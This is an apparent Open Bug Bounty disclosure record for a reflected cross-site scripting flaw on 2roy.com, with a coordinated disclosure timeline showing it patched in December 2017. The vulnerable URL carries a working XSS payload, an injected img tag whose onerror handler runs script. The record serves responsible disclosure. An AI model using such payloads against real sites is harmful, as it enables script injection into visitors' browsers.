Lucene search
OmniGoochOBB:391537HistoryNov 05, 2017 - 12:53 a.m.
2roy.com XSS vulnerability
2017-11-0500:53:00
OmniGooch
www.openbugbounty.org
8
Vulnerable URL:
http://2roy.com/shop/goods/goods_search.php?searched=Y&log;=1&skey;=all&hid;_pr_text=&hid;_link_url=&edit;=&sword;=%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FXSSPOSED%2F%29%3E&x;=5&y;=6
Details:
| Description | Value |
|---|---|
| Patched: | Yes, at |
| Vulnerability type: | XSS |
| Vulnerability status: | Publicly disclosed |
| Alexa Rank | 1600345 |
| VIP website status: | No |
Coordinated Disclosure Timeline:
| Description | Value |
|---|---|
| Vulnerability submitted via Open Bug Bounty | 5 November, 2017 00:53 GMT |
| Generic security notifications sent to website owner | 5 November, 2017 00:55 GMT |
| Notification sent to subscribers (without technical details) | 5 November, 2017 02:17 GMT |
| Vulnerability details disclosed by researcher | 9 December, 2017 15:05 GMT |
| Vulnerability patched by the website owner | 10 December, 2017 08:20 GMT |